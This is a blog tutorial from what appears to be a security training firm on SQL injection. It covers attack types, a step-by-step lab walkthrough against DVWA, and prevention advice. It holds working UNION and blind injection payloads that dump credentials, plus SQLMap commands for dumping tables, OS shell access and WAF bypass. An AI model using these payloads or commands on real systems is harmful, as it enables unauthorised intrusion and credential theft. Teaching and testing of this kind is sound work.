🚀 Cyber Security New Batch Start from 1 JunEnroll Now
Cyber Defence
Ethical Hacking

SQL Injection Attacks: How Hackers Exploit Databases

Complete SQL injection tutorial covering attack types (in-band, blind, out-of-band), manual exploitation techniques, SQLMap automation, and prevention strategies for developers.

Amit Kumar
Amit KumarEthical Hacker & Founder
6 min read

# SQL Injection Attacks: How Hackers Exploit Databases

Understanding SQL Injection

SQL injection remains one of the most dangerous and prevalent web application vulnerabilities. Despite being well-known for decades, it consistently appears in the OWASP Top 10 and continues to cause devastating data breaches.

SQL injection occurs when an attacker can insert malicious SQL statements into application queries through user input. Applications that fail to properly sanitize or validate user input before incorporating it into SQL queries are vulnerable to this attack.

Why SQL Injection Matters

SQL injection can lead to data theft accessing sensitive customer information and credentials, authentication bypass logging in as admin without valid credentials, data modification altering or deleting database records, remote code execution in some configurations executing system commands, reputation damage from public disclosure of breaches, and regulatory penalties under GDPR and HIPAA.

Types of SQL Injection

In-Band SQL Injection

The most common type where attackers use the same channel for both launching attacks and retrieving results.

Error-Based SQL Injection leverages database error messages to gather information about database structure.

Union-Based SQL Injection uses the UNION keyword to append malicious queries to legitimate ones. Example: Original query SELECT name, price FROM products WHERE id = 1 becomes manipulated to SELECT name, price FROM products WHERE id = 1 UNION SELECT username, password FROM admin_users-- which extracts admin credentials.

Inferential SQL Injection (Blind SQL Injection)

When applications do not return error messages or query results, attackers must infer information by asking true/false questions.

Boolean-Based Blind SQL Injection uses true/false conditions to determine database content character by character. A request with parameter id=1' AND SUBSTRING(password,1,1)='a'-- returning no results indicates the condition is false, while returning products indicates true.

Time-Based Blind SQL Injection uses database delays to infer information. A request with SLEEP(5) in the parameter causes a 5-second delay if the condition is true, allowing attackers to extract data bit by bit.

Out-of-Band SQL Injection

Uses alternative channels to retrieve data when in-band methods are not possible, such as DNS exfiltration for Microsoft SQL Server or HTTP requests for Oracle databases.

Practical SQL Injection Walkthrough

Setting Up Your Lab

For learning purposes, set up a controlled environment with Kali Linux as your penetration testing platform, DVWA (Damn Vulnerable Web Application) for practice, and Metasploitable2 as a vulnerable Linux target.

Start Apache and MySQL with sudo service apache2 start and sudo service mysql start, then access DVWA at http://localhost/dvwa.

Step 1: Identifying SQL Injection Points

Test all input fields systematically using single quote test username: admin' which causes SQL error if vulnerable. Other test payloads include admin" and admin' OR '1'='1'--.

Step 2: Finding Number of Columns

Use ORDER BY to find column count with statements like ' ORDER BY 1-- continuing until error occurs, which indicates the number of columns.

Step 3: Identifying Vulnerable Columns

Use UNION SELECT to identify columns that display data. ' UNION SELECT NULL,NULL-- reveals columns that can be used for injection.

Step 4: Extracting Database Information

For MySQL/MariaDB, extract version with ' UNION SELECT NULL,@@version--, database name with ' UNION SELECT NULL,database()--, and user with ' UNION SELECT NULL,user()--.

Step 5: Enumerating Tables

List tables in current database with ' UNION SELECT NULL,table_name FROM information_schema.tables WHERE table_schema=database()--.

Step 6: Extracting Column Names

Find columns in specific table with ' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'--.

Step 7: Dumping Data

Extract usernames and passwords with ' UNION SELECT NULL,CONCAT(username,' : ',password) FROM users--.

Automating SQL Injection with SQLMap

Basic SQLMap Usage

SQLMap automates SQL injection detection and exploitation.

Basic scan: sqlmap -u "http://target.com/product.php?id=1"

List all databases: sqlmap -u "http://target.com/page.php?id=1" --dbs

List tables in specific database: sqlmap -u "http://target.com/page.php?id=1" -D target_db --tables

Dump table data: sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --dump

Advanced SQLMap Features

OS shell access with --os-shell when vulnerable. File read/write with --file-read and --file-write. Use proxy with --proxy=http://127.0.0.1:8080. Bypass WAF with --tamper="space2comment,charencode".

SQL Injection Prevention Strategies

1. Use Parameterized Queries

The most effective defense against SQL injection. Never concatenate user input directly into queries.

2. Input Validation

Use whitelist approach allowing only expected characters. Reject or escape special characters like ', ", ;, --.

3. Least Privilege Principle

Create limited database user for application with GRANT only necessary permissions like SELECT, INSERT, UPDATE, DELETE on specific database.

4. Web Application Firewall (WAF)

ModSecurity rules can block SQL injection patterns.

5. Error Handling

Log detailed error for debugging but return generic message to users. Never expose SQL query structure, database type, table names, or stack traces.

Frequently Asked Questions

What is the most dangerous type of SQL injection?

Out-of-band SQL injection can be extremely dangerous as it can bypass firewalls and security monitoring while exfiltrating large amounts of data through alternative channels.

How do you prevent SQL injection in PHP?

Use PDO with prepared statements: $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $username]);

Can SQL injection be exploited without error messages?

Yes, blind SQL injection techniques can extract data without any error messages by using boolean conditions and time delays.

What is the difference between SQL injection and SQLMap?

SQL injection is a vulnerability class, while SQLMap is a specialized tool that automates the detection and exploitation of SQL injection vulnerabilities.

Is ORM completely safe from SQL injection?

ORMs like Hibernate and SQLAlchemy use parameterized queries by default, greatly reducing injection risk. However, unsafe raw queries or dynamic query builders can still be vulnerable.

Conclusion

SQL injection remains one of the most critical web application vulnerabilities. Understanding attack techniques helps security professionals identify vulnerabilities, while prevention knowledge enables developers to write secure code.

Key takeaways include always using parameterized queries, validating and sanitizing all user input, applying least privilege to database accounts, implementing proper error handling, using Web Application Firewalls as additional protection, and regularly testing for injection vulnerabilities.

Cyber Defence offers comprehensive web application security training including hands-on SQL injection labs. Learn both attack techniques and defense strategies through practical exercises.

Master SQL injection testing and prevention. Protect your applications and data from this critical vulnerability.

Talk to a Cyber Defence Expert

Get a free consultation on cybersecurity, training and certifications. Our team responds within 10 minutes during business hours.